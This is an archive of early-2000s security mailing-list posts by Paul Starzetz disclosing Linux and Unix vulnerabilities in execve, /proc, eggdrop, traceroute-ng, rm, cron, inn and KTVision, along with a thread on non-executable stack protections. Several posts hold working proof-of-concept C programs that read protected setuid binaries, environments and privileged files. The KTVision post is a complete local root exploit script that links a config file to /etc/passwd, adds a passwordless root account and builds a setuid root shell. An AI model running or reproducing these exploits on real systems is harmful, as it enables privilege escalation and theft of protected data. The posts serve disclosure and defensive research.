Re: [ MDKSA-2006:116 ] - Updated kernel packages fixes multiple vulnerabilities

2006-07-10 Thread Paul Starzetz

[EMAIL PROTECTED] wrote:



Prior to 2.6.15, the auto-reap child processes included processes with
ptrace attached, leading to a dangling ptrace reference and allowing
local users to cause a Denial of Service (crash) (CVE-2005-3784). 

This information is not fully correct - CVE-2005-3784 leads to an 
IMMEDIATE root compromise of vulnerable machines. But I'm not going to 
provide a PoC :-]


with best regards

Paul Starzetz




Linux 2.4.x execve() file read race vulnerability

2003-06-26 Thread Paul Starzetz
Hi people,

again it is time to discover a funny bug inside the Linux execve() 
system call.

Details:
-
While looking at the execve() code I've found the following piece of 
code (from fs/binfmt_elf.c):

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * 
regs)
{
   struct file *interpreter = NULL; /* to shut gcc up */

[...]

   retval = kernel_read(bprm-file, elf_ex.e_phoff, (char *) 
elf_phdata, size);
   if (retval  0)
   goto out_free_ph;

   retval = get_unused_fd();
   if (retval  0)
   goto out_free_ph;
   get_file(bprm-file);
   fd_install(elf_exec_fileno = retval, bprm-file);
So, during the execution of new binary, the opened file descriptor to 
the executable is put into the file table of the current (the caller of 
execve()) process. This can be exploited creating a file sharing 
parent/child pair by means of the clone() syscall and reading the file 
descriptor from one of them.

Further, the check for shared files structure (in compute_creds() from 
exec.c) is made to late, so even the parent can successfully exit after 
playing games on that file descriptor and the child (if setuid) is 
executed under full privileges. I wrote a simple setuid binary dump 
utility so far, but further implications (due to the complexity of the 
execve() syscall) may be possible...

Lets illustrate the vulnerability:

[EMAIL PROTECTED]:~ ls -l /bin/ping
-rws--x--x1 root root29680 Oct 25  2001 /bin/ping
so the setuid ping binary can be only executed by anyone, but not read.

Now we start the suid dumper (while playing with the disk on another 
console like cat /usr/bin/* /dev/null) :

[EMAIL PROTECTED]:~ while true ; do ./suiddmp /bin/ping -c 1 127.0.0.1 ; if 
test $? -eq 1 ; then exit 1 ; fi; done 2/dev/null | grep -A5 suc

and after few seconds:

Parent success stating:
uid 0 gid 0 mode 104711 inode 9788 size 29680
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=94 usec
--- 127.0.0.1 ping statistics ---

[EMAIL PROTECTED]:~ ls -l
total 7132
-rwxr-xr-x1 paul users   29680 Jun 26 19:17 suid.dump
[...]
[EMAIL PROTECTED]:~ ./suid.dump
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
   [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
   [-M mtu discovery hint] [-S sndbuf]
   [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
Obviously the setuid binary has been duplicated :-) (but with no setuid 
flag of course).

Source also available at:

http://www.starzetz.com/paul/suiddmp.c

/ih

/
*   *
*   Linux 2.4.x suid exec/file read race proof of concept   *
*   by IhaQueR  *
*   *
/



#include stdio.h
#include stdlib.h
#include unistd.h
#include errno.h
#include sched.h
#include fcntl.h
#include signal.h

#include sys/types.h
#include sys/stat.h

#include asm/page.h



void fatal(const char *msg)
{
printf(\n);
if (!errno) {
fprintf(stderr, FATAL: %s\n, msg);
} else {
perror(msg);
}

printf(\n);
fflush(stdout);
fflush(stderr);
exit(129);
}


int child(char **av)
{
int fd;

printf(\nChild running pid %d, getpid());
fflush(stdout);
usleep(10);

execvp(av[0], av + 1);

printf(\nFatal child exit\n);
fflush(stdout);
exit(0);
}


void exitus(int v)
{
printf(\nParent terminating (child exited)\n\n);
fflush(stdout);
exit(129);
}

void usage(const char *name)
{
printf(\nSuid exec dumper by IhaQueR\n);
printf(\nUSAGE:\t%s executable [args...], name);
printf(\n\n);
fflush(stdout);
exit(0);
}


int main(int ac, char **av)
{
int p = 0, fd = 0;
struct stat st, st2;

if (ac  2)
usage(av[0]);

av[0] = (char *) strdup(av[1]);
av[1] = (char *) basename(av[1]);

p = stat(av[0], st2);
if (p)
fatal(stat);

signal(SIGCHLD, exitus);
printf(\nParent running pid %d, getpid());
fflush(stdout);

__asm__ (
 pusha  \n
 movl $0x411, %%ebx \n
 movl %%esp, %%ecx  \n
 movl $120, %%eax   \n
 int  $0x80 \n
 movl %%eax, %0 \n
 popa
 : : m(p)
);

if (p  0)
fatal(clone);

if (!p)
child(av);

printf(\nParent stat loop);
fflush(stdout);
while (1) {
p = fstat(3, st);
if (!p) {
if (st.st_ino != st2.st_ino)
fatal(opened wrong file!);

p = lseek(3, 0, SEEK_SET);
if (p == (off_t) - 1)
fatal(lseek);
fd = open(suid.dump, O_RDWR | O_CREAT | 

Linux /proc sensitive information disclosure

2003-06-21 Thread Paul Starzetz
Hello,

attached a simple prrof of concept for the /proc filesystem disclosing 
sensitive information.

I noticed that opening an entry from /proc/self/ and keeping the file 
open while executing a setuid binary prevents the opened proc entry from 
changing the ownership from the initial user to the set-uid value. 
However I'm not very sure about the impact of this bug (feature), the 
attached code just reads the environment (which is per default mode 400).

The technique can not be applied to /proc/self/mem because the permision 
checks are made dynamically (the child must be ptraced etc.).

This is a sample output of the PoC:

[EMAIL PROTECTED]:~/dev/expl ./procex

parent executing setuid
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
child reads parent's proc:
PWD=/home/paul/..
Content of /proc/32353
ls: /proc/32353/cwd: Permission denied
ls: /proc/32353/root: Permission denied
ls: /proc/32353/exe: Permission denied
-r--r--r--1 root root0 Jun 20 14:47 cmdline
lrwxrwxrwx1 root root0 Jun 20 14:47 cwd
-r1 paul users   0 Jun 20 14:47 environ [*]
lrwxrwxrwx1 root root0 Jun 20 14:47 exe
[...]
-r--r--r--1 root root0 Jun 20 14:47 status
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 1998ms
rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms
[*] as you can see here the ownership didn't change...

/ih

/
*   *
*   Linux /proc information disclosure PoC  *
*   by IhaQueR  *
*   *
/



#include stdio.h
#include unistd.h
#include fcntl.h
#include errno.h
#include signal.h
#include sys/types.h
#include sys/mman.h
#include sys/ptrace.h
#include sys/wait.h
#include sys/stat.h
#include sys/types.h



static char buf[128];



void fatal(const char *msg)
{
printf(\n);
if (!errno) {
fprintf(stderr, FATAL: %s\n, msg);
} else {
perror(msg);
}

printf(\n);
fflush(stdout);
fflush(stderr);
exit(129);
}


int main()
{
int fd, r;
char c;

sprintf(buf, /proc/%d/environ, getpid());
fd = open(buf, O_RDONLY);
if (fd  0) {
sprintf(buf, /proc/%d, getpid());
if (fork()) {
printf(\nparent executing setuid\n);
fflush(stdout);
execl(/bin/ping, ping, -c, 3, 127.0.0.1, NULL);
fatal(execl);
} else {
sleep(1);
printf(\nchild reads parent's proc:\n);
fflush(stdout);
while (1) {
r = read(fd, c, 1);
if (r = 0)
break;
printf(%c, c);
}
printf(\n\nContent of %s\n, buf);
fflush(stdout);
execl(/bin/ls, ls, -l, buf, NULL);
}
} else
fatal(open proc);

printf(\n);
fflush(stdout);

return 0;
}


Eggdrop arbitrary connection vulnerability

2003-02-10 Thread Paul Starzetz
Hi,

there is a serious security problem in the popular eggdrop IRCbot. The 
hole allows a regular user with enough 'power' (at least power to add 
new bot records) to use any linked instance of the bot on the botnet as 
an instant 'proxy'. The following session demonstrates the problem with 
an out-of-the-box eggdrop 1.6.10:


.+bot bighole 127.0.0.1:25
[20:23] #IhaQuer# +bot bighole 127.0.0.1:25
Added bot 'bighole' with address '127.0.0.1:25' and no password.
You'll want to add a hostmask if this bot will ever be on any channels 
that I'm on.

[20:23] #IhaQuer# match bighole
*** Matching 'bighole':
HANDLEPASS NOTES FLAGS   LAST
bighole   no   0 b   never (nowhere   )
 ADDRESS: 127.0.0.1
users: 25, bots: 25
--- Found 1 match.

.relay bighole
[20:23] #IhaQuer# relay bighole
Connecting to bighole @ 127.0.0.1:25 ...
(Type *BYE* on a line by itself to abort.)
Success!

NOW CONNECTED TO RELAY BOT bighole ...
(You can type *BYE* to prematurely close the connection.)
*** IhaQuer left the party line.

220 server.org ESMTP Postfix
HELO blahblah.org
250 server.org
MAIL from: blahblah.org
250 Ok
rcpt to: [EMAIL PROTECTED]
250 Ok
data
354 End data with CRLF.CRLF
blah blah
.
250 Ok: queued as CFDFC2F012

Obviously an email has been sent by the local postfix bound to the 
loopback address 127.0.0.1! The impact may depend on the host the bot is 
running on, including tunneling into internal networks, accessing 
services bound to the loopback only, bypassing TCP wrappers etc, etc.

There is no clean solution so far, for my own I decided to modify the 
net.c file and add something like:

int open_telnet_raw(int sock, char *server, int sport)
.
.
.
   name.sin_family = AF_INET;
   name.sin_port = htons(port);

+if(port  1024  port != 113) {
+   putlog(LOG_MISC, *, WARNING attempt to connect to low port 
%s:%d, server, port);
+return -1;
+   }


Hope this helps, thanks to Maciek Kroenke for bringing my attention to 
this bug,

/ih




TracerouteNG - never ending story

2002-11-28 Thread Paul Starzetz
Hi everyone,

I want to provide some additional information about the recently 
discovered traceroute-ng flaw. I decided to disclose to details right 
now because I do not believe that the flaw is easily exploitable.


1) The vulnerablilty.

The patch provided by vendors like SuSE is not sufficient. It only 
closed one of at least 3 different holes.


Hole #1 : (closed in the recent patch)
--

(gdb) r -P -q 1 -n $(perl -e 'print0x13000')127.0.0.1
Starting program: /usr/sbin/traceroute -P -q 1 -n $(perl -e 
'print0x13000')127.0.0.1
(no debugging symbols found)...(no debugging symbols found)...(no 
debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x400d9634 in strcpy () from /lib/libc.so.6

This is caused by insufficient length checking in the hostname buffer 
copied from the command line. The buffer is global static so it is 
located in .bss. The vulnerable code is:

#ifdef VMS_CLD
   av[0] = hostname;
#endif
   to-sin_addr.s_addr = inet_addr(av[0]);
   if ((int)to-sin_addr.s_addr != -1) {
   (void) strcpy(hnamebuf, av[0]);
   hostname = hnamebuf;
   } else {



Hole #2 :
-

(gdb) r -P -q 1 -n -S -99 -m 0 localhost
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -99 -m 0 localhost
traceroute to localhost (127.0.0.1), 0 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no 
debugging symbols found)...(no debugging symbols found)...(no debugging 
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08049f3c in strcpy ()

This comes from an array index overflow in the following code:

/*
* Enter Spray mode
*/
  spray_target = spray_max = spray_total = 0;
  spray_min = SPRAYMAX+1;

  /* For all TTL do */
  for (ttl = min_ttl; ttl = max_ttl; ++ttl) {
 spray_rtn[ttl]=0;
 for (probe = 0; probe  nprobes; ++probe) {
send_probe(++seq, ttl);
 }
  }

Obviously we can write an (int)0 at any 4 bytes aligned memory location! 
Furthermore, due to a malloc() just right bevore this code (it is not 
clear where it comes from in the binary - maybe gcc optimization?) we 
can write the address returned by malloc at any 4bytes alignet memory 
location as can be seen from the disassembly:

0x8049f2f strcpy+4411:call   0x8048c54 malloc
0x8049f34 strcpy+4416:mov%eax,%edx
0x8049f36 strcpy+4418:mov0xffb0(%ebp),%eax
0x8049f39 strcpy+4421:shl$0x2,%eax
0x8049f3c strcpy+4424:mov%edx,0x8052880(%eax)  malloc 
write
0x8049f42 strcpy+4430:mov0xffb0(%ebp),%esi
0x8049f45 strcpy+4433:xor%edi,%edi
0x8049f47 strcpy+4435:add$0x10,%esp
0x8049f4a strcpy+4438:inc%esi
0x8049f4b strcpy+4439:mov%eax,%ebx
0x8049f4d strcpy+4441:cmp0x804d4cc,%edi
0x8049f53 strcpy+4447:jge0x8049f81 strcpy+4493
0x8049f55 strcpy+4449:mov0x8052880(%ebx),%eax
0x8049f5b strcpy+4455:movl   $0x0,(%eax,%edi,4)    0 write

For example, by carefully manipulating the -m and -S arguments, we can 
jump into the memory allocated by malloc():
(gdb) bt
#0  0x08049f53 in strcpy ()
#1  0x40182bd8 in __DTOR_END__ () from /lib/libc.so.6
#2  0x4007d9ed in __libc_start_main () from /lib/libc.so.6

location of 0x4007d9ed :

(gdb) x/32xw 0xb280
0xb280: 0x0804dacc  0x0804dbac  0xb2a8  0x4009133b
0xb290: 0x40182bd8  0x4000bcd0  0xb2b8  0xb2d8
0xb2a0: 0x4007d9ed  0x000a  0xb304  0xb330
0xb2b0: 0x0804baa0  0x  0xb2d8  0x4007d9bd

printf  %d  $(( (0xb2a0 - 0x8052880)/4 ))
-302075256

(gdb) r -P -q 1 -n -S -302075256 -m -302075256 localhost
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -302075256 -m 
-302075256 localhost
traceroute to localhost (127.0.0.1), -302075256 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no 
debugging symbols found)...(no debugging symbols found)...(no debugging 
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053228 in ?? ()

(gdb) bt
#0  0x08053228 in ?? ()
(gdb) disass $eip $eip+16
Dump of assembler code from 0x8053228 to 0x8053238:
0x8053228:  add%al,(%eax)
0x805322a:  add%al,(%eax)
0x805322c:  enter  $0x1803,$0x40
0x8053230:  add%al,(%eax)
0x8053232:  add%al,(%eax)
0x8053234:  cmp%eax,(%eax)
0x8053236:  add%al,(%eax)
End of assembler dump.

LOL :-)

Hole #3:


Just run with the following arguments:

(gdb) r -P -q 999 -n localhost
Starting program: /usr/sbin/traceroute -P -q 999 -n localhost
traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
(no debugging symbols found)...(no debugging symbols found)...(no 
debugging symbols found)...(no debugging symbols found)...(no debugging 
symbols found)...

Ambiguities in TCP/IP - firewall bypassing

2002-10-18 Thread Paul Starzetz
1. Abstract
---

There are ambiguities in implementations of the TCP/IP suite for various 
operating systems. Even if this fact has been used since a long time in 
different software for OS fingerprinting, no real attempt has been made 
to identify the security impact of the differences in the TCP/IP 
semantics. We have done some research on the TCP/IP connection open 
semantics which is of course very important for security of networked 
systems. We believe that the flaws we have detected have a big impact on 
design of firewalls and packet filters since an improper implementation 
can easily lead to serious security problems.


2. Details
--

The TCP/IP protocol stack offers a three way handshake for connection 
oriented communication using the TCP protocol. Basically, a connection 
can be opened by sending a synchronization packet to a listening service 
on a particular host. The host will respond with a synchronization 
acknowledgment packet which in turn must be acknowledged by the 
requesting host. Then, the connection is considered to be open (at least 
at the transport layer) and the two hosts may exchange some data.

The three way handshake is an essential part of the communication using 
the TCP protocol. Therefore many packet filter firewalls try to prevent 
the three way handshake from completion in order to protect an 
internal/corporate network from being accessed from the outside. Of 
course, statefull firewalls may have some more sophisticated mechanism.

We have found a very ambiguous behavior of TCP/IP implementations while 
doing some research on the connection request phase. Below you will find 
the findings about various OSes, however the list should not be 
considered complete. We have used the NemesisTCP tool [1] to generate 
the traffic and tcpdump to capture the responses.

* The normal behavior (of all OSes) is like this:

14:18:00.595517 192.168.1.184.12345  192.168.1.111.: S 420:420(0) 
win 512 (DF) [tos 0x18]
14:18:00.595731 192.168.1.111.  192.168.1.184.12345: S 
1679763291:1679763291(0) ack 421 win 5840 mss 1460 (DF)

The first host sends a SYN packet from port 12345 to a service on port 
 and receives a SYN,ACK


* Linux 2.4.19

The examination of the source code of the TCP engine reveals that a TCP 
connection can be opened by any combination of the TCP flags having the 
SYN bit set and the ACK bit reset. For example we can open a TCP 
connection by sending an obviously bogus SYN,RST packet:

14:25:43.97 192.168.1.184.12345  192.168.1.111.: SR 420:420(0) 
win 512 (DF) [tos 0x18]
14:25:43.889143 192.168.1.111.  192.168.1.184.12345: S 
2168208394:2168208394(0) ack 421 win 5840 mss 1460 (DF)

or something called 'Christmas packet' having mostly every TCP flag set 
(except the ACK flag of course):

14:30:46.341732 192.168.1.184.12345  192.168.1.111.: SFRP 
420:420(0) win 512 urg 8 (DF) [tos 0x18]
14:30:46.342444 192.168.1.111.  192.168.1.184.12345: S 
2492223280:2492223280(0) ack 421 win 5840 mss 1460 (DF)

Also SYN,FIN packets works well...


* Solaris 5.8

Here we have success by sending SYN,FIN packets:

14:33:24.549246 192.168.1.184.12345  192.168.1.84.: SF 420:420(0) 
win 512 (DF) [tos 0x18]
14:33:24.549757 192.168.1.84.  192.168.1.184.12345: S 
913533039:913533039(0) ack 421 win 24656 mss 1460 (DF)

or SYN,FIN,PSH packets with no payload

14:35:14.398346 192.168.1.184.12345  192.168.1.84.: SFP 420:420(0) 
win 512 (DF) [tos 0x18]
14:35:14.398801 192.168.1.84.  192.168.1.184.12345: S 
940377913:940377913(0) ack 421 win 24656 mss 1460 (DF)

other combinations don't seem to induce the SynSent state in the TCP/IP 
stack


* FreeBSD 4.5

Here we also have luck with SYN,FIN packets:

14:47:21.558541 192.168.1.184.12345  192.168.1.104.: SF 420:420(0) 
win 512 (DF) [tos 0x18]
14:47:21.558719 192.168.1.104.  192.168.1.184.12345: S 
127436:127436(0) ack 421 win 65535 mss 1460

as well as with other combinations which don't combine the RST and/or 
ACK flag with SYN:

14:48:11.678246 192.168.1.184.12345  192.168.1.104.: SP 420:420(0) 
win 512 (DF) [tos 0x18]
14:48:11.678366 192.168.1.104.  192.168.1.184.12345: S 
1714046856:1714046856(0) ack 421 win 65535 mss 1460


* Windows NT 4.0

As in the case of BSD we can open connections using any combination of 
TCP flags as long as we do not set the RST and/or ACK flag (where did 
they take the code from...hm...):

14:59:46.315126 192.168.1.184.12345  192.168.1.17.: SF 420:420(0) 
win 512 (DF) [tos 0x18]
14:59:46.315566 192.168.1.17.  192.168.1.184.12345: S 
15062452:15062452(0) ack 421 win 8576 mss 1460 (DF)


Other OSes than those tested above are expected to behave in a similar 
manner after obtaining such a discouraging result...


3. Impact
-

The ambiguities can be used to bypass/tunnel firewalls filtering TCP 
packets according to the TCP flags set. Especially stateless firewalls 
simply comparing the flags field with some expected 

Re: White paper: Exploiting the Win32 API.

2002-08-27 Thread Paul Starzetz

Andrey Kolishak wrote:


There is also article of Symeon Xenitellis A New Avenue of Attack:
Event-driven system vulnerabilities http://www.isg.rhul.ac.uk/~simos/event_demo/

  

In fact, the problem is similar to U*ix signals, except that there is no 
jump-to-address argument for usual. Remember that old ping bug which 
allowed users to flood the network by sending SIGALRM in some old ping 
implementations. Maybe reading some manuals about safe signal handling 
would be a good lecture for Windows developers too:

http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/   
Section 3.3 especially

regards

/ih




Re: Interface promiscuity obscurity in Linux

2002-07-25 Thread Paul Starzetz

Ricardo Branco wrote:

This affects Linux 2.2 and 2.4

Using libpcap to put the interface in promiscuous mode, will cause that
ifconfig(8) doesn't show it!
  

This is an old issue (noticed this nearly 2 years ago...) but can be 
contributed to 'bad' userspace tools.

libpcap uses setsockopt(..., SOL_PACKET, PACKET_ADD_MEMBERSHIP, ...) with
PACKET_MR_PROMISC to set the interface in promiscuous mode.
  

The interesting thing is that the PF_PACKET sockets are also not 
reported by netstat. Anyway this should be fixed.

/ih





GNU rm fileutils race condition problems on SuSE

2002-05-16 Thread Paul Starzetz

Hi,

the following issue has been reported to SuSE about 2 months ago:


1. Problem description
--

There is an exploitable call to the vulnerable rm -rf command in 
/etc/cron.daily/aaa_base_clean_core as follows:

#
# paranoia settings
#
umask 022

PATH=/sbin:/bin:/usr/sbin:/usr/bin
export PATH
TMPDIR=/var/tmp/cron.daily.$$
rm -rf $TMPDIR


This script is run every day as ROOT even if the user didn't set the 
DELETE_OLD_CORE variable in /etc/rc.config!


2. Details
--

As pointed out by Wojciech Purczynski mailto:[EMAIL PROTECTED] 
[EMAIL PROTECTED] mailto:[EMAIL PROTECTED] there is a race condition in the 
GNU 'rm' utility while removing directories recursively. In particular 
it is possible to create a deply nested directory structure in /tmp, 
 wait for removal of one of the leafs and quickly move the directory 
root 2 levels up. This will force rm to chdir(..) two levels more than 
intended, resulting in the removal of the complete file system.

An exploit code will not be released, but exploitation is very 
straightforward, since the race window can be made mostly as big as 
needed (it is even possible to exploit this vulnerability 'by hand'). 
One needs to create a directory structure like this:

/tmp/cron.daily.PID/root/1/2/3/4/5/6/7/8/.../N
/(N+1)/(N+2)/.../2*N
.

and wait for the removal of the 'N' leaf. This can be easiliy 
acomplished since the clean_core script is called at a very well defined 
time (between 0:15:00 and about 0:15:15 every day) - so we can create X 
of those nested directories, wait until 15:00, get the next pid and 
begin to move those directories to match the next X pids. Guessing the 
next pid can be done by reading /proc/stat and evaluating the 
'processes' entry (or less elegant by continuous forking :-).


3. Impact
---

This vulnerability leads to a denial of service attack on SuSE Linux 
systems. As far as tested SuSE Linux = 7.3 seems to be vulnerable. The 
8.0 release has not been tested yet.


/ih





Re: trusting user-supplied data (was Re: FreeBSD Security AdvisoryFreeBSD-SA-02:23.stdio)

2002-05-03 Thread Paul Starzetz

Steven M. Bellovin wrote:

The list includes, but is not limited to:

   command-line array
   environment array
   open files


I don't think there was enough research on open file descriptor 
problems. For example, I found this small bug while playing yround with 
crontab on Linux:

gcc cronread.c -o cronread

export VISUAL=/bin/vi
crontab -e

:sh escape to shell

./cronread

 iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/0   
dump (y/n) n

0001 iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/1   
dump (y/n) n

0002 iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/2   
dump (y/n) n

0003 iz OPENst_uid 0st_gid 0PATH 
/var/spool/cron/deny   dump (y/n) y

--- DUMPING /var/spool/cron/deny ---

guest
gast


---
0005 iz OPEN
0006 iz OPEN


ls -l /var/spool/cron/deny
-rw---1 root root   11 Oct 25  2001 /var/spool/cron/deny


So I'm able to read a privileged system file using this technique :- 
Not necessary to mention the consequences of inheriting such a fd open 
for writing. More effort must be put to investigate this problem in 
current Linux/Unix suid/setgid binaries.

have fun with the attached source.

/ih



/
*   *
*   insecure FD seeker  *
*   by IhaQueR '2002*
*   *
/





#include stdio.h
#include unistd.h
#include fcntl.h
#include sys/types.h
#include sys/stat.h
#include linux/limits.h



#define TMPLEN 1024



void dumpfd(int fd, char *name)
{
int r;
char c=13;


r = lseek(fd, 0, SEEK_SET);
if(r == (off_t)-1) {
perror(lseek);
return;
}
printf(\n--- DUMPING %s ---\n\n, name);
do {
r = read(fd, c, sizeof(c));
if(r0) {
printf(%c, c);
}
} while(r0);
printf(\n\n---);
fflush(stdout);
}


int main()
{
int i, r, f;
uid_t uid;
gid_t gid;
struct stat st;
char buf[TMPLEN];


uid = getuid();
gid = getgid();

for(i=0; iNR_OPEN; i++) {
r = fstat(i, st);
if(!r) {
printf(\n%.4d iz OPEN, i);
if(st.st_uid != uid || st.st_gid != gid) {
printf(\tst_uid %d\tst_gid %d, st.st_uid, st.st_gid);
snprintf(buf, sizeof(buf)-1, /proc/%d/fd/%d, 
getpid(), i);
buf[sizeof(buf)-1] = 0;
readlink(buf, buf, sizeof(buf)-1);
buf[sizeof(buf)-1] = 0;
printf(\tPATH %s , buf);
printf(\tdump (y/n) );
r = getchar();
if(r == 'y')
dumpfd(i, buf);
getchar();
}
}
}
printf(\n\n);
fflush(stdout);

return 0;
}




Inn (Inter Net News) security problems

2002-04-11 Thread Paul Starzetz

Hi,

I found several problems inside the inn (=2.2.3) package as shipped
with various Linux distributions. There are several format string coding
bugs as well as unsecure open() calls. In particular the inews and the
rnews binaries are affected. This may lead to serious security problems
if those binaries are installed set-uid and are executable by any user.
In the case of inews, obtaining uid news is possible (which can be
further used to replace/trojan other system files like the binaries
themselves), in the case of rnews, access to probably sensitive inn
configuration files seems possible (like inn password hashes etc).

The attached archive contains a short proof of concept code for one of
the format string bugs (look in the inews.sh script for more details) in
the inews binary. The code has been succesfully tested against SuSE 7.0
where inews and rnews are setuid news. Later distributions seems to use
another security conecept - the binaries are either only setgid news or
are not runnable by ordinary users. The exploitation is technically
difficult - it requires a fake NNTP server setup somewhere (the code
comes with the tar package). Note: this is NOT a remote exploit. Look at
the code for more technical details. The code will create a setuid news
shell.

Vendors have been noticed more than 5 weeks ago.

regards,

/ih




innexpl.tar.gz
Description: Binary data


Re: Tripwire temporary files

2001-07-10 Thread Paul Starzetz

Jarno Huuskonen wrote:

  I found out about the problem when I noticed a temporary file
  /tmp/twtempa19212 left in /tmp. Out of curiosity I ran the tripwire
  binary with strace and noticed that temporary files in /tmp are opened
  without the O_EXCL flag.

Here a strace from tripwire 1.2 (Source RPM: tripwire-1.2-223.src.rpm):

open(/tmp/twznG1Eud, O_RDWR|O_CREAT|O_TRUNC, 0666) = 4
open(/tmp/twzd9tWqg, O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
open(/tmp/twzzykpkj, O_RDWR|O_CREAT, 0600) = 4

nowhere the current pid is used - instead a 6 byte template appears,
which is not really predictable (at least shouldn't be!).

Ihq.



Symlinks symlinks...this time KTVision

2001-06-22 Thread Paul Starzetz

Hi ppl,

the subject already states the problem: there is a symlink follow
problem in the (in many distributions suid root) ktvision binary =
0.1.1-271.

It is discouraging that nowadays such trivial symlink attacks are still
possible. No comment anymore. In order to be complete: a bash script
demonstrating this vulnerability is attached below.

Ihq.




- ktv.sh ---

#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo 
echo KTVision = 0.1.1-271 local r00t exploit by IhaQueR
echo 

if ! test -u $target ; then
echo [-] $target not found
exit 1
fi;

echo [+] $target found

rm -f sush*
cat __DUPA__sush.c
#include stdio.h
main()
{
setuid(geteuid());
setgid(getegid());
execl(/bin/bash, /bin/bash, NULL);
}
__DUPA__

echo compiling sush
res=$(gcc sush.c -o sush)

if test $res !=  -o ! -x sush ; then
echo [-] failed
rm sush* ktvback.*
exit 2;
fi;

echo [+] success

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo 
echo -n now running... (ensure that X is up and running)

$target /dev/null 21 
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
sleep 1;
printf   %.2d $cnt
cnt=$(($cnt+1))
if test $cnt -ge $max ; then
echo 
echo 
echo [-] FAILED
rm sush* ktvback.*
exit 2;
fi;
done;

kill -9 $cpid /dev/null 21
rm $link/ktvisionrc

echo 
echo 
echo [+] SUCCESS, creating sush
echo $linkto r00t::0:0:root:/root:/bin/bash
echo 
su r00t -c chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto
rm ktvback.* sush.c

if ! test -u sush ; then
echo hm strange error
rm sush* ktvback.*
exit 1
fi;

echo 
echo starting ./sush
./sush

#!plonk



Re: Announcing RSX - non exec stack/heap module

2001-06-13 Thread Paul Starzetz

Crispin Cowan wrote:

 I presume that what you're doing here is to mark the library pages
 non-executable, and then make them executable when you get a page fault due to
 some code trying to make a library call.  If so, how do you distinguish between
 legitmate calls into the library, and bogus calls made by a buffer overflow?

No, because there is no exec/noexec flag on x86 architecture - otherwise
the whole thing would be trivial.

I map a sort of ´zombie´ or ´ghost´ libc into the RSX address space,
marking those pages as PROT_NONE. I also map a regular copy of libc at
some other location.

There are further transition handlers in the gp() and pf() trap code
handling the segment transitions between ´normal´ code and ´libc´ code
(the mentioned ret/call/jmp emulation routines).
 
 ret-into-libc is just a common name for the technique.  It is not technically
 precise.  The general case is to change a function return address so that it
 jumps to code that does exec(sh).  The intructions that do this don't have to
 be in libc, and don't have to be in a library, they can be in the program's main
 executable body.  It's just convenient for the attacker to use libc, because libc
 necessarily has exec(sh) in it, and most programs link to libc.

Ok but I´m talking only about dynamically linked libc.

  So now assume we doesn't link the libc-plt to the real libc location -
 
 Same effect:  you deny the attacker access to the libc code body, forcing them to
 look elsewhere for a fairly common sequence of a half dozen bytes in an
 executable page.

Hm, I´m not convinced that this code is so common. One must look for a
sequence similar to mov value, %ebx; mov SYSCALL, %eax; int 0x80; in
order to do something dangerous after overflowing a stack buffer.
 
I think that some level of randomization in the libc location and the
plt linking code would provide a simple (but not complete) defense
against simple jump-into-system()-plt and similar attack.

Paul Starzetz.



Re: Announcing RSX - non exec stack/heap module

2001-06-12 Thread Paul Starzetz

Crispin Cowan wrote:

  It is not very hard to mmap the libc code as non-executable are into
  main memory. After the regular programm code jumps into some libc
  function, we can check in the gp() handler if the gp fault resulted from
  jumping into the libc area by a ret (the target address should still be
  on the stack) or by a regular call/jmp instruction.
 
 That's an interesting idea, but the performance penalty will be substantial.
 You will pay for (at least) two system calls per library call.  In early
 StackGuard research, we experimented with hardware protection methods that
 imposed 2 syscalls per function call, and the overhead was between 500% and
 10,000%, which just isn't realistic for prodution use.

Yes and no! I have written such a code for rsx. The overhead is more
precisely 1x page fault and 1x general protection fault + the emulation
code (jmp/call/ret), which is not equal to 2x syscall + emulation, but
indeed of similar magnitude. However it works.

Note that a simpler protection (but maybe not so effective) can be done
by means of ld.so. What does people mean if they talk about
ret-into-libc? I assume we speak about ret-into-plt, where libc is
linked to, because this is the only information an attacker can obtain
by analyzing the binary. Libc can be mmaped at some random location,
right?

So now assume we doesn't link the libc-plt to the real libc location -
instead we link it to a intermediate random glue code piece. The
protection arises from the fact that it is hard to guess the location of
this intermediate glue segment (and it is hard to guess the real libc
vma too). So the attacker neither easily jump into some offset (skipping
the ret checking code) in the glue code, nor directly jump into some
real libc function. The addresses of the glue code and libc should
change with every execve() and fork() (to prevent binary search...).

The glue code does now the similar thing that a pf() or gp() hook would
- look at the stack to switch between the cases 1) call from legal .text
code into plt or 2) ret from buffer overflow into plt.

This again does not protect against ret-into-text where some libc
function (via plt) is called. But maybe one can make this harder using
another trick. I think this case would also have a clear signature on
